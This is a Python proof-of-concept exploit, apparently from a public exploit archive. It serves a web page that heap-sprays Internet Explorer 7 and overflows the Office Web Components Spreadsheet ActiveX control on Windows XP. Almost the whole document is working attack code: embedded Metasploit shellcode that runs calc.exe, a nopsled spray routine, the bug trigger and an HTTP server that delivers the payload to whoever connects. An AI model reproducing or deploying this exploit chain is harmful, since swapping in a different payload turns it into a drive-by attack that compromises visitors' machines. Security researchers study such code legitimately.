Microsoft Office Web Components Active-X related buffer overflow proof of concept exploit. The author tested on Internet Explorer 7.0.5730.13 on Windows XP SP3 with owc10.dll and owc11.dll installed. Written in Python.
542ad371968fa6cdc2fd6f341fe00c13099de31b236c05b304b76d3b21955c5f#
# Author : Ahmed Obied (ahmed.obied@gmail.com)
#
# - Based on the code posted at https://www.milw0rm.com/exploits/9163
# - Tested using:
# > Internet Explorer 7.0.5730.13 on Windows XP SP3 with owc10.dll installed
# > Internet Explorer 7.0.5730.13 on Windows XP SP3 with owc11.dll installed
#
# Usage : python ie_owc.py [port (between 1024 and 65535)]
#
import sys
import socket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
class RequestHandler(BaseHTTPRequestHandler):
def convert_to_utf16(self, payload):
# From Beta v2.0 by Berend-Jan Wever
# https://www.milw0rm.com/exploits/656
enc_payload = ''
for i in range(0, len(payload), 2):
num = 0
for j in range(0, 2):
num += (ord(payload[i + j]) & 0xff) << (j * 8)
enc_payload += '%%u%04x' % num
return enc_payload
def get_payload(self):
# win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
# https://metasploit.com
payload = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
return self.convert_to_utf16(payload)
def get_exploit(self):
exploit = '''
function spray_heap()
{
var chunk_size, payload, nopsled;
chunk_size = 0x100000;
payload = unescape("<PAYLOAD>");
nopsled = unescape("<NOP>");
while (nopsled.length < chunk_size)
nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
for (var i = 0 ; i < <CHUNKS> ; i++)
heap_chunks[i] = nopsled + payload;
}
function trigger_bug()
{
var obj, arr;
try {
obj = new ActiveXObject("OWC10.Spreadsheet");
} catch (err) {
try {
obj = new ActiveXObject("OWC11.Spreadsheet");
} catch (err) {
window.location = 'about:blank';
}
}
arr = new Array();
arr.push(1);
arr.push(2);
arr.push(0);
arr.push(window);
for (var i = 0 ; i < arr.length ; i++) {
for (var j = 0 ; j < 10 ; j++) {
try {
obj.Evaluate(arr[i]);
} catch (err) {}
}
}
window.status = arr[3] + "";
for (var j = 0 ; j < 10 ; j++) {
try {
obj.msDataSource(arr[3]);
} catch (err) {}
}
}
spray_heap();
trigger_bug();
'''
exploit = exploit.replace('<PAYLOAD>', self.get_payload())
exploit = exploit.replace('<NOP>', '%u0b0c%u0b0c')
exploit = exploit.replace('<CHUNKS>', '100')
exploit = '<html><body><script>' + exploit + '</script></body></html>'
return exploit
def log_request(self, *args, **kwargs):
pass
def do_GET(self):
try:
if self.path == '/':
print
print '[-] Incoming connection from %s' % self.client_address[0]
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
print '[-] Sending exploit to %s ...' % self.client_address[0]
self.wfile.write(self.get_exploit())
print '[-] Exploit sent to %s' % self.client_address[0]
except:
print '[*] Error : an error has occured while serving the HTTP request'
exit_program()
def exit_program():
print '[-] Exiting ...'
sys.exit(0)
def main():
if len(sys.argv) != 2:
print 'Usage: %s [port (between 1024 and 65535)]' % sys.argv[0]
sys.exit(0)
try:
port = int(sys.argv[1])
if port < 1024 or port > 65535:
raise ValueError
try:
serv = HTTPServer(('', port), RequestHandler)
ip = socket.gethostbyname(socket.gethostname())
print '[-] Web server is running at https://%s:%d/' % (ip, port)
try:
serv.serve_forever()
except:
exit_program()
except socket.error:
print '[*] Error : a socket error has occurred'
exit_program()
except ValueError:
print '[*] Error : an invalid port number was given'
exit_program()
if __name__ == '__main__':
main()
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